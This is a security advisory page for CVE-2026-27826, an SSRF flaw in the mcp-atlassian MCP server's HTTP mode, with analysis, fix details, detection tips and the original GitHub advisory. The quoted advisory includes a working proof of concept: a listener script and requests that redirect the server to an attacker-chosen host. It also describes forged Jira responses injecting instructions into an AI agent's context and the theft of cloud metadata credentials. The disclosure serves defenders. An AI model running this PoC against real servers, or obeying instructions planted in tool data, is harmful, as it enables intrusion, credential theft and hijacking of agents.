CVE-2026-27826: MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
In HTTP mode, mcp-atlassian trusts the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url request headers without checking them. An unauthenticated attacker who can reach the server can make it send requests to any URL, including the cloud metadata endpoint, and can feed forged Jira data to an AI agent. Upgrade to 0.17.0.
Published Mar 10, 2026 · Analysis Oct 31, 2026
What an attacker can do
In the multi-tenant HTTP mode, clients pass their own Jira or Confluence URL in headers. The middleware in servers/main.py stores the header value unchecked. The dependency provider in servers/dependencies.py then builds a JiraConfig from it and calls get_current_user_account_id(), which sends a GET to {header_url}/rest/api/2/myself. Confluence has the same path. The server compares the value with neither the configured JIRA_URL nor any blocklist.
Four conditions must hold: streamable-http or sse transport, the Jira URL header, the Jira personal token header with any value, and no Authorization header. The server binds to 0.0.0.0 by default.
There are three outcomes. First, the server becomes an SSRF proxy for scanning internal services. Second, in cloud deployments an attacker can reach 169.254.169.254 and may steal the instance role credentials. Third, the attacker's fetcher is cached for the session, so every Jira tool result comes from the attacker's server. Crafted responses can carry instructions that land in the AI agent's context as if they were Jira data, a prompt injection channel that needs no tool parameter manipulation.
Who is affected
The pip package mcp-atlassian below 0.17.0, run with --transport streamable-http or --transport sse. The default stdio transport does not take these headers from clients.
pip show mcp-atlassianCheck how your service is launched. Anything listening on an HTTP port, particularly on 0.0.0.0, is in scope.
mcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.17.0
- Fixed in
- 0.17.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to mcp-atlassian 0.17.0.
pip install --upgrade "mcp-atlassian>=0.17.0"The fix (commit 5cd697d) adds validate_url_for_ssrf and runs it in the middleware before any fetcher is created. It allows only http and https, blocks localhost and metadata.google.internal, rejects non-global IP addresses and any hostname that resolves to one, and checks redirects. It also adds MCP_ALLOWED_URL_DOMAINS, a comma-separated allowlist; set it to your Atlassian hosts, since without it no allowlist applies. The check resolves DNS before connecting and does not pin the address, so DNS rebinding remains possible. Keep the port off untrusted networks as well.
How to tell if you were hit
Look in server logs for requests carrying X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url headers with hosts that are not your Atlassian instance, and for requests with the personal token headers but no Authorization header. On the network side, watch for outbound GET requests to /rest/api/2/myself on unfamiliar hosts, or to private and metadata addresses. In cloud logs, check use of the instance role from outside the instance. Beam records agent MCP tool calls, which would show Jira tool results an agent received in the same period.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.
Details
The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.
No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.
Trigger conditions — all four must hold:
- Server running with
--transport streamable-httpor--transport sse - Request contains
X-Atlassian-Jira-Urlheader (any non-empty value) - Request contains
X-Atlassian-Jira-Personal-Tokenheader (any non-empty value) - Request has no
Authorizationheader
An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.
Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448):
# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user_atlassian_token is NOT set.
# This is what routes execution to the vulnerable path below.
if service_headers and (jira_token_str and jira_url_str):
scope["state"]["user_atlassian_auth_type"] = "pat"
Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217):
if (
user_auth_type == "pat"
and jira_url_header # attacker-controlled, no validation
and jira_token_header
and not hasattr(request.state, "user_atlassian_token")
):
header_config = JiraConfig(
url=jira_url_header, # used directly, no allowlist check
personal_token=jira_token_header,
...
)
header_jira_fetcher = JiraFetcher(config=header_config)
header_jira_fetcher.get_current_user_account_id()
# ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call
request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request
### PoC
Step 1 - Start a listener to capture the inbound SSRF request:
# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, sys
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if "myself" in self.path:
self.wfile.write(json.dumps({
"accountId": "ssrf-confirmed",
"displayName": "SSRF PoC"
}).encode())
else:
self.wfile.write(b"{}")
def log_message(self, *args): pass
HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):
JIRA_URL=https://placeholder.atlassian.net \
JIRA_API_TOKEN=placeholder \
mcp-atlassian --transport streamable-http --port 8000
Step 3 — Trigger the SSRF:
import httpx, json
MCP = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"
# Initialize MCP session
r = httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "initialize",
"params": {"protocolVersion": "2024-11-05", "capabilities": {},
"clientInfo": {"name": "poc", "version": "1.0"}},
"id": 1
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
# No Authorization header — this is the key condition
})
sid = r.headers.get("mcp-session-id")
# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call
httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "tools/call",
"params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}},
"id": 2
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
"Mcp-Session-Id": sid,
})
The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.
### Impact
This vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.
- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)
not directly reachable from outside the network.
- AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
- Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.Credited to yotampe-pluto, gil-maman-p.
Questions
- Is the default stdio setup of mcp-atlassian affected by CVE-2026-27826?
The advisory says the flaw affects deployments using streamable-http or sse transport, where clients send these headers to the HTTP endpoint.
- Does the attacker need credentials?
No. Any value works for the personal token header, and the request must have no Authorization header. The server contacts the attacker's URL before any real Atlassian instance.
- Can this affect an AI agent's behavior?
Yes. The attacker's server supplies the Jira responses for the session, so crafted data with LLM instructions can reach the agent as if it came from Jira.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026CVE-2026-87008
Code Graph RAG structural tools follow out-of-root symlinks
high7.1Nov 9, 2026
